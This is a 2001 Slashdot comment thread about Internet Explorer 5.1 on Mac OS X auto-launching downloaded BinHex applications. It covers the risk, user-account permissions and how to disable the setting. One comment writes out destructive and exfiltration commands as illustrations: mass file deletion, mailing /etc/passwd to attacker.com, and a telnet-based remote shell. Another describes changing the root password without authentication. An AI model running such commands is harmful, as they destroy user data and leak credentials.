Huge security hole in Internet Explorer for MacOS

Brad Lucier writes "Macintouch is reporting (go down the page a bit) that Internet Explorer 5.1, which comes preinstalled on MacOS X 10.1, has a huge security hole---when it downloads arbitrary programs encoded in the Macintosh's standard BinHex (.hqx) format, it automatically executes them. " Well I guess thats one way to make Unix insecure. Can anyone actually confirm this since it looks kinda sketchy. I wonder what someone's rationale would be for that:"Oh this won't hurt anyone, and saving that extra 'OK' click will be great!".

Comments

Intrinsic Security in OS X

[Buran]

The fact that OS X is based on FreeBSD may very well keep this hole from becoming as damaging as it is on Windows. Unless you're logged in as root or an Admin user -- always a good idea to be a 'normal' user whenever possible -- I don't know how damaging a malicious program can be. It'd have to get around some pretty strong security.

To what extent do others out there think this fact might "save" IE from being the terrible security disaster under OS X that it is on Windows?

I've got it on my 10.1 system, but I never use it; Mozilla 0.9.4 is far nicer (to me, anyway.)

Re:Intrinsic Security in OS X

[Bastian]

Although I doubt it could bring a system to its knees, and I don't know how you could make a virus continue to propagate itself that way, since I doubt you could get at the webserver from a user account, any exploits using this would likely be limited to trojan status.
A single infection, however, could still be just as damaging from the standpoint of a user. Lost data is still lost data.

Re:Intrinsic Security in OS X

[mr3038]

Unless you're logged in as root... I don't know how damaging a malicious program can be

This is correct. However, this practically causes every local exploit to be remote exploit which makes things pretty much easier for an attacker. In addition it really doesn't matter if malicious code destroys only your personal data or your personal data and system libraries. You're fscked anyway!

Re:Intrinsic Security in OS X

[Anonymous Coward]

While this may be true, it is completely unacceptable that Microsoft made execution of a downloaded encrypted binhex file default. The only possible explanation for this behavior is an attempt by Microsoft to generate negative press for the Mac by allowing this vector of unprotected program execution. Also, it has always been standard to offload the decoding of these files to Stuffit Expander or other such decompression programs. None of these other programs have ever had this so-called execution upon dowload as the default behavior. This is seriously irresponsible and Microsoft deserves a public grilling for it. I am glad there are so many other options on Mac OS X for surfing the web. Users, I think, should use them and avoid this flawed mess.

Re:Intrinsic Security in OS X

[dankow]

Using a regular user account is all well and good, but the vast majority of OS X users will be using an admin account, since the OS setup process creates an admin account for the main user. Most people won't think to create another account.

BTW, I tested this hole, and it is as bad as it sounds. Macslash.com has a nice little demo that you can try yourself if you're running 10.1.

--
I am the hub of jack's digital universe.

Re:Intrinsic Security in OS X

[TrumpetPower!]

rm -rf /home/urchlay

If mass destruction is your aim, then the following will do the job nicely:

find / -user $USER -exec rm -f {} \;

Or, you could:

mail badguy@attacker.com < /etc/passwd

Maybe it'd be a program to brute-force su, something often possible (brute-forcing ssh or telnet usually isn't.

With a bit more work, you could:

telnet attacker.com 666

And run something on port 666 on attacker.com that gives attacker.com shell access.

All this assumes the rest of the operating system's security is iron-clad. Local exploits are, in general, much easier to pull off than remote ones. Account compromise is not a nice thing, at all.

b&

Re:Intrinsic Security in OS X

[Dr. Sp0ng]

OS X has a Mach kernel. FreeBSD's kernel is based on the Mach kernel.

Wrong. Darwin is based on FreeBSD 3.2 (IIRC... I may have the version wrong), ported to Mach, with lots of optimizations to get rid of some of Mach's performance issues and some funky Apple-isms. OS X then runs on top of Darwin.

Re:Intrinsic Security in OS X

[Phroggy]

The fact that OS X is based on FreeBSD may very well keep this hole from becoming as damaging as it is on Windows. Unless you're logged in as root or an Admin user -- always a good idea to be a 'normal' user whenever possible -- I don't know how damaging a malicious program can be. It'd have to get around some pretty strong security.

Nope. On a single-user system, you'll probably be logged in as an Administrator, which gives you full write access to /Applications, /Library (including /Library/Printers, /Library/Fonts, /Library/Desktop Pictures, /Library/Internet Plug-Ins, /Library/WebServer, etc.), plus your entire home directory, including everything on the desktop, your Documents folder, all your preferences, etc. etc. If you're not logged in as an Administrator, you don't have write access to /Library or /Applications, but you still have full access to everything in your home.

The only additional thing root gives you is write access to /System and the hidden BSD directories like /usr, /var, /etc, /bin, /sbin and such. So, you can trash all your files and apps, but can't touch the OS itself, which you could really just reinstall if you wanted to anyway. That takes under half an hour. Recovering all your data? Hope you've been putting that CD-RW drive to good use.

Re:Intrinsic Security in OS X

[einstein]

I've run ./configure where the last few lines are:
creating libtool
loading cache ./config.cache
creating ./config.status
creating Makefile
creating src/Makefile
checking for r00taxx in -lr00t... no
no r00t? Darn!

yeah, needless to say, that makefile and source got a closer looking at...

if you're curious, this was avi-xmms, a plugin for xmms that uses its playlist for avi files played by aviplay...

if I actually ever get it compiled :)
---

Re:Intrinsic Security in OS X

[freakonaleash881]

Same as on Win2k - you can login as a non-admin user and do everything you need to and the 'bug' wont be so big.

True, but since win2k doesn't have the equivalent of sudo or su, it can be a serious pain in the ass, especially for some luser who can't figure out why they can't do something unless they log out and log back in as admin, not a quick operation.

I would say that windows security (I know, an oxymoron) has improved since the bad old days of DOS, but it leaves much to be desired.

Re:Intrinsic Security in OS X

[dvdeug]

> People have to download the binaries in the first place: if they don't, then there's no binary to execute. If they do, then they were probably going to run it anyway.

The problem is, there's no way to tell the difference between a data file and an executable that's been compressed. Say, you find a font with the letters in the shape of Natalie Portman in Mac format, and download it. If someone decided to put a trojan in instead of a font, then you're screwed.

Re:Intrinsic Security in OS X

[styrotech]

True, but since win2k doesn't have the equivalent of sudo or su, it can be a serious pain in the ass, especially for some luser who can't figure out why they can't do something unless they log out and log back in as admin, not a quick operation.

Not quite, W2K introduced the "Run as..." feature, and the NT Resource Kits have a su in them.
Don't get me wrong, they're still a bit of a PITA to use and not as transparent as sudo (but sudo is a bit of a hack really). They are there though.

I hate MS as much as the next guy, but will correct any incorrect MS bashing (don't worry, there's still plenty of other things to bash).

Re:Intrinsic Security in OS X

[ahknight]

Odd; I'm using 10.1 and it doesn't do squat. Oh well, I should be happy, then.

Sigh.

[DarkZero]

And of course, the media will portray this as "a problem with computers in general" (often used), "a fundamental problem in the structure of the internet" (Code Red), etc. And Microsoft will portray it as "Just one of those unavoidable things that happens when you used a Unix-based operating system".

Fuckin' morons.

Re:Sigh.

[!recycle]

Yeah and now my mom can freak out when her lame job sends out a warning (even though they use windows NT).

i can hear it now "Oh my God, There is a terrible bug in all comuters, you have to shut off and go hide in a bunker. The world is coming to an end!"

Re:Sigh.

[Stephen Samuel]

reminds me of a sign I put together many years ago... Poster format on 2 11x17 sheets of form-feed line printer paper...
SIGNOFF! The Universe is going down.

Re:IE Flaw

[Daniel Dvorkin]

The Mac has always played nice on the Web. What are you talking about?

Preferences

[Anonymous Coward]

You can turn off the automatic decoding of bin.hex files in the prefences panel under "downloading options". This allows people to have some control.

Re:Preferences

[Master Bait]

I guess that is prevention, but it is still a lame to not be able to decode your files automatically.

Over the years, Mac owners have enjoyed the ability to automaticall decode hqx and sit files without having them execute!

I say dump IE completely and use the alternates of which there are plenty.

Re:Preferences

[aralin]

And as always its turned ON by default! This is what makes Microsoft products so terribly insecure. The default settings they are using with all security turned off.

Re:Preferences

[Telek]

correct me if I'm wrong, but isn't .hqx the same thing as .zip in PCs?

doesn't that mean that the only thing that it will do is run your decompressor automatically?

which is not a big deal at all?

Re:Preferences

[thrig]

You said it. And since this is a unix system here, you can serve justice to Microsoft, in a small way:

rm -rf /Applications/Internet\ Explorer*

Try it on the next OS X machine you admin. Very therapeutic, IMHO.

Re:Preferences

[Andrewkov]

Wow, it's nice that Mac users can now enjoy the ease of use and power of Microsoft programs. I wonder if they'll want to switch to a Wintel machine after this one bites them in the ass!

Re:Preferences

[RevAaron]

...then install iCab.

Re:Preferences

[deusx]

...or OmniWeb (beautiful plumage!)

...or Mozilla (hey, it runs!)

:)

Re:Preferences

[RevAaron]

I wish OmniWeb wasn't so slow. It used to be pretty nice under OpenStep and Rhapsody/DR2. Kind of slow on my NeXT cube, but eh. But slow on my iBook is more disapointing.

Re:Preferences

[krugdm]

Actually, I turned these off, and files are still decoded automagically by Expander, but no launching afterwards.

Re:Preferences

[BlowCat]

The problem is not with automatic decoding of files. It's OK to have automatic decoding by default. The problem is with a bug that causes running the program after decoding it.

It is not a bug in the default settings. It's a bug that can be worked around by changing the settings.

Re:Preferences

[BlowCat]

Please distinguish between enabling features by default and enabling services by default.

Expecting a service to have holes (especially in the default install) is reasonable. But if a feature is believed likely to be broken, it shouldn't be in the release at all.

Re:Preferences

[RevAaron]

I've got a 10.1 iso sitting around, but am wary to install it, because it breaks Xfree. Not read yet whether or not it's easily fixed, just what the ol' Mac boards are telling me.

Well, yeah.....

[kerincosford]

...this always struck me as a little odd.

I've recently started using Mac OSX for dev work, and so I've only just really got accustomed to the OS.

This isn't a OS10.1-specific thing. Straight OS10 does exactly the same thing.

It is dumb, but you can turn it off in the preferences panel. My guess would be that most users would turn it off when they go into the Prefs to change the default download location (as MacIE5 doesnt ask you for a download folder) to something more sensible.

Ppfffff.

Personally, I don't think this is an *enormous* worry for the average user. Imagine if PC IE6 did this. All hell would break loose. But, theres just not that many nasties lurking for the Mac OSX user, really. And besides, the more savvy users will shut this feature off.

It is mighty dumb though. And not even that userfriendly. When StuffIt starts up to expand your files, it steals focus from what you're doing and makes your system chug like hell on OS10.1.

somewhat unfair to gloat

[shibut]

It is unfair to gloat by saying that every time anything comes up on your screen you should have to say OK. It is a judgement call (imagine if you had to OK each image or flash component separately...). One of the most important parts of designing a product (whether sw, hw, or a chair) is what the features it has and what is the default (e.g., the default for a recliner is the upright position and you have to actively do something to make it recline, imagine if it started out reclining, it would be kind of awkward to get into it).

Having said that, the use of the OK button should be related to the amount of damage a malicious item can cause. In the case of binhex it seems like a no-brainer to ask first...

Near-Useless Security

[Giant Hairy Spider]

Most users don't care so much about the system files, which are just a matter of rerunning the install process. Their personal data is far more valuable to them.

Maybe this will save a little data on systems with multiple users, but we're talking about personal computers here. By definition they are primarily used by one person.

The protection offered by an administrator account is minimal.

Re:Near-Useless Security

[manly]

I'm surprised the parent was modded up as insightful:

Most users don't care so much about the system files, which are just a matter of rerunning the install process. Their personal data is far more valuable to them.

Maybe this will save a little data on systems with multiple users, but we're talking about personal computers here. By definition they are primarily used by one person.

The protection offered by an administrator account is minimal.

Yes, data is of primary value to users. However, it costs time and money to fix a hosed system. Especially for the average user, "rerunning the install process" isn't part of a viable security plan.

As far as protection by using the Admin account, this is a basic tenet of security: assign only the necessary privileges for software to function. Ever wonder why DOS/Win95/Win98/Me are so succeptible to havoc caused by viruses (beyond popularity and braindead M$ application features)? It's because you're always running as de-facto superuser account.

The only reason you claim the Admin account provides "minimal" protection is because you believe the time and effort to restore a system is trivial. Even if that were the case, always running as the Admin account makes it a lot easier for a worm/virus to completely trash your system, taking down your valuable data files along with everything else.

I think fortunately for Microsoft and its millions of users worldwide, most worms/macro viruses these days are pests that put a drag on the Internet infrastructure, rather than seeking out your data files and wiping them away.

Re:Near-Useless Security

[manly]

The problem is, the average "user" is not an admin. How is such a person going to have the knowledge to set themselves up with a user account to protect them from themselves?

You've raised an excellent point, that I'll paraphrase somewhat differently. Normal home PC users don't even begin to understand security well enough to craft any sort of security plan (or measures such as always running a virus scanner on downloads/attachments). There's a trade-off between security and convenience; Microsoft tends to err on the side of convenience (as in the topic of this article).

I think the short answer to your question is education. Windows XP is a secure multi-user OS, and it's now shipping on consumer PCs. Many users now will have no choice but to gain a better understanding of at least logging in, and what activities (app installation) aren't possible with a "restricted" user account.

Having said that, I found the Microsoft scheme to ease multiple user computing for consumers is incredibly convoluted. During installation, a superuser account synonymous with root on Unix named Administrator is created.

However, after booting Lose-XP for the first time and logging in as Administrator, you'll want to add user accounts. Lose-XP forces you to create a "Computer Administrator" account before you can create regular user accounts. After doing so, the Administrator account is hidden from XP's new simplified login screen. The point I'm trying to make is that a relatively basic concept is made more complex, even though the supposedly goal was to make the login screen simpler for Joe Schmoe.

In an OS that is designed to be operated by the average user, isn't the de-facto superuser account always going to be an issue?

It's an issue, but as alluded to before, it's being handled very differently now. In DOS and legacy Windows, there was only the de-facto superuser-level user. Now that XP is slated to become standard on all consumer PCs, this is obviously no longer the case.

Besides my earlier complaint that the handling of users is more complex than it used to be, there is I believe another wrinkle to it (that I read somewhere else). If you add accounts during installation of XP, they receive Administrator credentials instead of normal user privileges. Besides (pre-)installation, login is the first feature users will meet. I don't understand why accounts seem so convoluted in XP.

Finally, Mac OS X takes a different tack. From what I understand, all created accounts are user level accounts in the Unix sense. To access the admin-level account, you have to explicitly enable root. I don't know enough about OS X to comment, but on the face of things, this seems like a simple security policy that many users can actually understand if explained to them.

In short, unless users are going to treat their PCs as black-box Internet appliances (admin'd by a friend or relative), many of them will have to understand and admin their Windows boxes more than they've been accustomed to.

Re:Near-Useless Security

[Giant Hairy Spider]

As far as protection by using the Admin account, this is a basic tenet of security: assign only the necessary privileges for software to function.

Funny thing, the way this works out on a personal computer is that pretty much every program the user runs needs the ability to access the user's data. Otherwise the user is continually tripping over the restrictions and being forced to enter passwords.

The only reason you claim the Admin account provides "minimal" protection is because you believe the time and effort to restore a system is trivial.

Relative to the months of creative work and irreplacable personal data that can be lost, getting the local geek to spend a few hours reinstalling software is indeed trivial.

Even if that were the case, always running as the Admin account makes it a lot easier for a worm/virus to completely trash your system, taking down your valuable data files along with everything else.

The only thing it makes it easier to trash are the system files. The user data is totally at the mercy of any trojan they run.

Don't get me wrong, account restrictions could be used to provide better security on a personal computer. However, with rare exceptions, they aren't. The operating environment isn't designed for efficient permissions management and the users aren't sophisticated enough to understand the value anyway.

Multiuser OSs are just that, and not optimally designed for personal computers. The admin account is there to protect the system from the users, not to protect the users from foreign code. There are definitely improvements that could be made with a dedicated networked-PC OS designed with an eye to protecting the user's data from less-trusted network programs such as the web browser.

To sum it up, it isn't hard to imagine system features that would protect the user's data from internet code, and while a priviledged admin account could be a part of implementing those features, it doesn't provide them.

Re:Near-Useless Security

[JohnTheFisherman]

Nobody made an assumption about reinstall being trivial, easy, or otherwise - it's doable, and it takes time. Losing your user data, if it's not properly backed up, like most people's data, it's just GONE. There is no reinstall even possible. For a large chunk of money you could potentially get some of your data back from one of those recovery services, but given the choice, most home users would rather reinstall their OS than hand over their hardware to some person they don't know who gets to comb over every last detail of personal information they have stored. That's if they're lucky and the data's still there, not to mention the cost.

Re:Near-Useless Security

[ToLu the Happy Furby]

Relative to the months of creative work and irreplacable personal data that can be lost, getting the local geek to spend a few hours reinstalling software is indeed trivial.

Absolutely correct.

However, one simple modification could bring the user's personal data under the protection of the admin account while still leaving it accessible to the user account: have a program running with root privileges which automatically backs up a copy of all the user's documents to a file only root has rights to. Then if the docs get hosed eg. by a virus running as user, one simply needs to login as root to get at a backed-up copy.

Of course the idea of backing up to another spot on one's own hard drive seems a little strange, but as most *really* important data files tend to be relatively small (unless the user is doing eg. video editing for a living), it seems like a very sensible solution, especially for OS' like Win2k Professional and OSX--which have strong multi-user security, but are generally run as single-user workstations.

Thoughts?

Re:Near-Useless Security

[weave]

Relative to the months of creative work and irreplacable personal data that can be lost, getting the local geek to spend a few hours reinstalling software is indeed trivial.

As someone who manages 25 local geeks, I take great offense to this statement, but it's pretty damn typical of user attitudes so it doesn't shock me.

The local geeks you talk about spend far too much time fixing your screwups and when we try to protect you from yourself by putting strict file perms on your desktop, you go screaming bloody murder because you can't install webshots or some other stupid program-of-the-week your friends told you about.

So instead of us doing something useful like planning for deploying new technologies, coding useful reports for the mountain of data you need to work with in the company's oracle database, ensuring the company doesn't get sued for license non-compliance, keeping server patches up-to-date, keeping up with security lists, etc, etc, we are running around fixing your screwups because you have no respect for the time or talents of your local geek.

Thanks for illustrating this common and typical attitude so well...

Re:Near-Useless Security

[MonkeyBoy]

Same as every automatic backup method that doesn't allow for regression - if you don't realize you're hosed before the next automatic backup occurs, the needed data can get overwritten with "newer" (e.g. infected, corrupted) versions of the files.

Not every worm is out to delete files, many of them will modify existing files to re-infect the system after you clean out the obvious.

Re:Near-Useless Security

[CaptDeuce]

Finally, Mac OS X takes a different tack. From what I understand, all created accounts are user level accounts in the Unix sense. To access the admin-level account, you have to explicitly enable root.

Yes, root must explicitly be enabled. There's an added layer of security in that when various admin type tasks need to be performed -- typically installations -- a dialog pops up asking for an admin level passsword. Other settings can be locked with admin level access. Some installations require the user to logout and login again as root though one may argue it's better to simply require root password a la sudo.

For what it's worth, I avoid using Microsoft products on my Mac whenever possible -- even on my Win2000 at work. While the rest of the office -- including our file server! -- got infected by the Nimda virus I didn't notice a thing since I get my email on my Mac. ;-)

Re:Near-Useless Security

[dasunt]

So, who wants to bet when we'll see the first virus that finds a security hole to gain Administrator's rights, uses that hole to install itself, then patches that hole, leaving the user with only a normal user account, effectively locking them out of their own computer?

OTOH, since windows has to be registered on a reinstall, this should be a fun time for Microsoft. ;)

Re:Near-Useless Security

[Tassach]

"any SUID program can be abused once you've got a program running"

Which is why you should avoid setuid root like the plague. Setuid to another, unprivilidged account is a lot safer - if that account is compromised, the rest of the system remains safe.

Original posting

[tbmaddux]

Here's the original posting by one of the Macintouch readers... it's pretty far down on the linked page so here's the full text:

"Date: Sat, 29 Sep 2001 17:02:59 -0400
From: [MacInTouch reader]
Subject: Security Alert for Explorer 5.1 (MacOS X 10.1)

I am shocked to report a huge security hole in the latest Internet Explorer version 5.1 that comes preinstalled on MacOS X 10.1

Every .hqx encoded classic application is decoded by explorer itself (that's the default, stuffit expander isn't used) and then AUTOMATICALLY STARTED!

This is totally unacceptable. You can test this simply by pointing your browser to

http://www.pardeike.net/danger.hqx

where I put a very small C program that just displays a message (trust me, it *only* does that message, nothing more)"

It may be configurable but why not secure defaults

[hillct]

OK, so this behavior appears to be configurable, but why wouldn't you set the default to the more secure alternative? Does Microsoft really think so poorly of their users that they honestly believe having to click one more 'OK' button would cause them to loose a significant market share? This is rediculous. What possible benefit is there in establishing an insecure default setting?

--CTH

Personally, I prefer OmniWeb

[ehintz]

I do occasionally use IE, when hitting one of those pages designed by MS only shops, but most of my browsing time is in OmniWeb (www.omnigroup.com). Problem solved.

As an added benefit, OmniWeb has options to disable banner ads (sorry VA), kill javascript popup windows, and it's just a generally nicer browser with more intelligent design decisions. And it keeps web pages from looking like NASCAR with all the bloody ads and popups. Did I mention how it kills ads and popups? Although I will admit IE is wicked fast under 10.1, OmniWeb is plenty fast enough.

Re:Personally, I prefer OmniWeb

[billybob]

Plenty fast? OmniWeb is the slowest browser I have ever used. Feature-wise, yah, it's great, on par with iCab. Like icab, however, as an actual browser, it blows serious donkey ballz.

Re:Personally, I prefer OmniWeb

[melquiades]

I do occasionally use IE, when hitting one of those pages designed by MS only shops

Really? I just uninstalled IE altogether.

Omniweb is a really beautifully designed program, probably the finest web browser I've used. I really recommend it to OS X users who haven't tried it out yet.

It's frustrating that Apple doesn't bundle Omniweb w/OS X. I'm sure that there is no M$ arm-twisting involved, though....

Workaround?

[maniac11]

Setting StuffIt Expander to be the helper app for .sit, .bin. and .hqx file types should circumvent this problem, right?

Re:Not M$

[LordNimon]

No, it's not. IE for the Mac is developed and published by Microsoft. Apple just pre-loads it and ships it with its OS. You can download IE from Microsoft's website, not from Apple's.

User level is DANGEROUS for malicious code!

[infractor]

Well, unless this is some unix I've not seen...

Normal users have the ability to open TCP sockets, fork processes etc.

All the code has to do is download itself, background itself as an non-stoppable process and then use the network to scan like crazy for whatever vulnerability you like!

Even if you're not scanning for vulnerabilities, your code could be repeatedly mailing bugs@microsoft.com or whatever. A Denial of service attack with a userlevel account is also possible...

Re:User level is DANGEROUS for malicious code!

[ichimunki]

Not to mention that most users store a lot of data at the user level! How about an executable that mailed off every file it could find in standard user locations to strangers? How about an app that deletes every file it can? How about something that downloads naughty pictures and sets them as the desktop (wouldn't that be great at work)?

I can think of millions of incredibly destructive things to do at the user level, so let's not pat OS X on the back for being a Unix and having some better-than-MS security model that will keep it safe while running lame MS applications. Security is as security does and this hole can do some real damage despite being a user process.

Re:Not exactly.... what it REALLY does

[sammy.lost-angel.com]

After decoding, it tries to run the application contained within. THAT is the security concern. There is an important difference.

OmniWeb, Mozilla

[green pizza]

I can't think of a better case for Mozilla or OmniWeb (the way cool browser that came over from the NeXT world).

You're using Mac OS X, why have *anything* to do with Microsoft?? Forget MSIE and use Mozilla or OmniWeb.

Though.... I have to admit that MS Office X looks kinda neat. I just hope Corel hurrys up and makes a "Corel Office Suite X".

i didn't even think it was a bug

[SirSlud]

With MS's history, my friend discovered this three days ago and told me. Both of us assumed since it is an MS product that it was the way it was meant to be. Its such an obvious hole that we didn't even think it was a bug, just terrible and user-un-friendly design (as per the usual MS shit.)

As YOU DIDN"T read this article using said browser

[SteveM]

Its been standard in Mac OS for Stuffit Expander to automatically extract archives once downloaded. Isn't this issue related more to Stuffit Expander than IE?"

We all know how hard it is to click on a link and read the article, so I did it for you.

From the MacInTouch web site: "Every .hqx encoded classic application is decoded by Explorer itself (that's the default, Stuffit Expander isn't used) and then AUTOMATICALLY STARTED!"

I suggest that in the future you read the article in question before posting.

Steve M

Knowing Microsoft...

[neema]

"Oh this won't hurt anyone, and saving that extra 'OK' click will be great!". "

Knowing Microsoft, even when it does ask you to execute the file, the only option it'll give is "OK".

Sounds like the recent slrn bug

[coyote-san]

This sounds a lot like the recently discovered slrn bug (see Bugtraq, LWN, Debian) that automatically executed all scripts encountered, apparently assuming they were self-extracting archive files.

However, I'm not sure Microsoft should be let off the hook for the equivalent behavior on the Mac. The Unix code was there for a very, very long time... when it was added it was a reasonable assumption that people would not send nasties because it was too easy to complain to their employer or grad department (the only way to get online) and cause the sender significant personal pain. (This is also a painful reminder that just because code is available doesn't mean that the right people are reviewing it.) In contrast, by the time somebody added that code to the Mac version of MSIE, the possibility of untraceable, hostile scripts should have been obvious.

Tried it. Does nothing

[cith]

I tried it with my 10.1 system. The .hqx file is decoded into an application, but doesnt get executed unless you double click on it. Seems Ok to me.

This is not a worm hole.

[Giant Hairy Spider]

There was no real chance this would spread to webservers by that route anyway. Not many people surf the web from a webserver (those who do tend to serve files from their userspace, even assuming they don't also run the webserver with their normal user permissions).

Trojans are the basic threat, but viruses have been spreading through other means for a long time. Since most end-users spend all their time in one account, not being able to access the underlying admin privileges is about as relevant as not being able to change the hardware configuration.

Re:Thanks, Apple

[bnenning]

does the average user on a Mac OS X system have sufficent privlages to destroy anything outside of his home directory?

"Admin" users do, non-admin users don't. The default user account Mac OS X sets up is a member of the admin group, and can create other admin and non-admin users. /Applications and /Library are root/admin and group-writable. The kernel and /System are only writable by root, as are the /bin, /usr/bin, /usr/lib and other "Unix" directories. An admin user doing rm -rf / would trash the installed applications, but probably wouldn't render the system unbootable (although I'm not willing to test that right now...)

Yup it's real.

[Auckerman]

Just tested it. It appears that IE opens the file without specifing which application to open it with (which is something that OS X supports), in the expectation that the .hqx file is also stuffit compressed (which is logical, %99.99 of the time anything that is .hqx is also .sit). So I just chmod 700 IE (it's owned by root which is in the same group as the admin account) on both Macs in our Lab. Not a big deal since everyone uses Mozilla anyhow.

look in the preferences

[bubbo]

In the preference options, under download options, there is a checkbox for opening binhex, and macbinary files automatically. If you are really concerned about it, turn it off.

Re:Not M$

[kilgore_47]

Not true.

Microsoft has a large mac software division that makes IE as well as Office for Mac and some other software.

In fact, microsoft's mac division has more mac programmers than anywhere else but Apple (or so I read in a macworld article a few months back).

Re:Not M$

[bnenning]

Umm, no. Apple does not develop Microsoft Internet Explorer.

Re:Not M$

[ehintz]

Internet Explorer on the MAC has nothing to do with Microsoft. It's developed, published, and installed by Apple.

Not. It's developed and published by the Microsoft Macintosh Business unit, which is a somewhat independent MS arm out in the SF Bay Area. Apple's only involvement is bundling IE with the OS. About the only way your statement is accurate is if you're trying to stipulate that IE for Mac has little to do with IE for windows, which is correct. In fact, it's not uncommon for IE/Windoze to inherit good ideas from IE/Mac.

And not to be picky, but it's Mac. Short for Macintosh. Not MAC, short for Media Access Control address, as in your NIC card.

Security comparison; reason for insecure code?

[Scoria]

IE Exploits:

q279328 - allows execution of code through print templates or web forms

q286045 - allows someone to execute files and read files on your machine (using a combination of both exploits that patch fixed)

q286043 - allows someone to begin a telnet session and send data to your machine (as well as execute it) if you've installed Services for Unix

q273868 - sends your authentication information on every query as long as they're on the same hostname

Four major exploits in the last twelve months. Certainly, those aren't all of the exploits, erm, extra features that IE has had bundled with it lately, but they are a few that have readily accessible information from Microsoft.

One could imagine eternally why Microsoft designs such insecure products, but look at it this way:

Have you ever coded a product that was efficient and secure after being pushed for three days to meet a deadline? Don't you become somewhat exhausted and lazy, primarily because you want to sleep, no matter how much money you're going to be paid? There comes a point where caffeine just won't help you operate anymore and your health becomes more of a priority than a "higher-up"'s regime.

Microsoft developers (in the words of Ballmer) are only human as well -- and I'm sure they work just as hard as we do.

Re:Security comparison; reason for insecure code?

[WolfWithoutAClause]

>Microsoft developers (in the words of Ballmer) are only human as well -- and I'm sure they work just as hard as we do.

Harder! Because evil never sleeps... ;-)

Re:Security Hole a Hoax

[flwombat]

For what it's worth (not much), the behavior of IE under Mac OS 9 (if I remember right) is to download the file, then throw an apple event to the decoder (usually Stuffit Expander). Something like "hey Stuffit, open the file HD:Desktop Folder:foo.hqx". That's as opposed to sending the Finder a command to open foo.hqx and letting file type/creator code determine which app to use. I don't know how it works under OS X.

However, I installed OS X and the 10.1 upgrade the other day, and I don't have the problem described.

Users are dumb

[nvainio]

My guess would be that most users would turn it off when they go into the Prefs to change the default download location

Yeah, just like "most users" turn off Java and JavaScript in their browsers? Or turn off macros in their Word and avoid macro viruses?

Not true. "Most users" are dumb. They have no clue what is the difference between "document" and "program". They can't or don't want to change settings. They just click the icon when asked and execute the virus or trojan.

Well, there will always be dumb users. They are not a problem, braindead defaults are. Without all these be-user-friendly-execute-it-all defaults, we would have less viruses and worms going around. Software developers should take their responsibility seriously.

Re:Users are dumb

[mrogers]

"Most users" are dumb. They have no clue what is the difference between "document" and "program".

Oh high and mighty Slashdotter, kindly explain to this dumb and lowly user the difference between a document and a program, with reference to the following cases:

• A Word document with embedded macros - document or program?
• A shell script - document or program?
• A hex editor taking an executable file as its input
• A dynamic linker/loader taking the same executable file as its input
• An email that exploits a buffer overflow bug to load arbitrary code
• Turing's proof of the undecidability of the halting problem, based on the idea of a Turing machine taking a coded description of itself as its input

Here's the fix (no sarcastic anti-MS comment here)

[Anonymous Coward]

Launch IE 5.1, go to the Explorer menu, then to Preferences.

Go to the "Receiving Files" options and DISABLE "Automatically decode MacBinary files" and "Automatically decode BinHex files".

Easy as that.

Re:Intrinsic Security in OS X - It's even worse...

[benmartz]

I think a very important point to make here is that by default, the user you set up when installing Mac OS X is an administrative user and not only that is automatically logged in when the computer boots. So obviously ~99% of the Mac OS X boxes out there are vulnerable to this bug. Did you know that you can change the root password on any Mac OS X box that an administrative user is logged into without having to know the current root password? (Hint: Any and all administrative users can use the NetInfo Manager application to modify the fields of the /etc/passwd file directly without having to authenticate...) Cheers, Ben

Re: Well, yeah...

[gwyrdd benyw]

It is dumb, but you can turn it off in the preferences panel.

This is no excuse - all default options should be sensible options. Lots of people don't change their prefs from the defaults until something in the standard behaviour annoys them - which may take a long time, or forever.

It's still dangerous, even if it can be disabled. It shouldn't even be an option. If you want to run the thing so badly, then go run it manually.

(subject changed to avoid the "postersubj compression" error, whatever that is...)

Why is it there?

[Phrogz]

If I click on a link for a .sit.hqx file and IE decodes the HQX, I'd like it to pass the file off to Expander for further decoding.

If I click on a link for a .doc.hqx file or a .pdf.hqx file, I'd like IE to get Word or Acrobat to open the file after it removes the encoding.

Apparently this same mechanism accidentally results in executables being run as an attempt to pass them along for further processing to the OS. It's obviously a security whole in retrospect, but understandable how it occured.

Re:Why is it there?

[Chester K]

Apparently this same mechanism accidentally results in executables being run as an attempt to pass them along for further processing to the OS. It's obviously a security whole in retrospect, but understandable how it occured.

Mac OS has always been more dangerous as far as trusting data files goes, simply because their forked file format allowed executable code to be attached to any otherwise "pure" data file. If I'm not mistaken (I'm not overly familiar with the internals of the Mac OS), this behavior was used so that data files could FIND their host application, or another suitable application instead, when they were double-clicked. It's a great convenience feature, but it also makes spreading illicit code easier... you don't have to virus scan a .txt file on Windows, but you do on a Mac.

I wonder if this exploit has anything to do with that.

Re:Why is it there?

[hearingaid]

That actually makes sense.

Solution: Check to see what the .hqx decoded to. If its filetype is APPL, do not launch it.

Time for a patch... :)

Re:Why is it there?

[Phroggy]

Mac OS has always been more dangerous as far as trusting data files goes, simply because their forked file format allowed executable code to be attached to any otherwise "pure" data file. If I'm not mistaken (I'm not overly familiar with the internals of the Mac OS), this behavior was used so that data files could FIND their host application, or another suitable application instead, when they were double-clicked. It's a great convenience feature, but it also makes spreading illicit code easier... you don't have to virus scan a .txt file on Windows, but you do on a Mac.

Nope, completely wrong. The "finding" you're talking about (where the Finder got its name) in an attribute in the filesystem, not something in the resource fork, and it's simply two 4-byte identifiers in each file. It's true that you can embed executable code in any file, but there's no reason why this code should EVER be executed, unless the file in question is an executable type of file (such as an application, an extension, or a control panel).

I wonder if this exploit has anything to do with that.

Nope.

Re:Why is it there?

[Phroggy]

If I click on a link for a .sit.hqx file and IE decodes the HQX, I'd like it to pass the file off to Expander for further decoding.

Yep, I agree.

If I click on a link for a .doc.hqx file or a .pdf.hqx file, I'd like IE to get Word or Acrobat to open the file after it removes the encoding.

Absolutely not. The is NO REASON why a Word or Acrobat document should be encoded as BinHex, EVER. If I stumble across one, I want to be forced to go through the extra step of double-clicking, just to make sure I really know what I'm doing.

Re:Why is it there?

[hearingaid]

That's true.

However, there is at least one non-.sit filetype I can think of that I'd want to do a .hqx on:

AppleScript source.

There are probably others, too. But Script Editor files have significant use of both forks.

Re:Why is it there?

[hearingaid]

If it's a simple text file, its creator will be ttxt, i.e. SimpleText. You only have to worry about it if its creator is McPL (I think, I'm at school so I can't check what the code for MacPerl actually is :)

Remember, in MacOS (classic anyway), extensions are irrelevant. The only things that matters are creator and filetype.

Not true

[Auckerman]

If the user has Classic running, which is VERY often the case, there is a problem. Classic is setuid root. All one would have to due is encode a malicious classic program as a .hqx, have it add itself to the startup procedure for OS X, and *poofie* instand backdoor.

Re:Not true

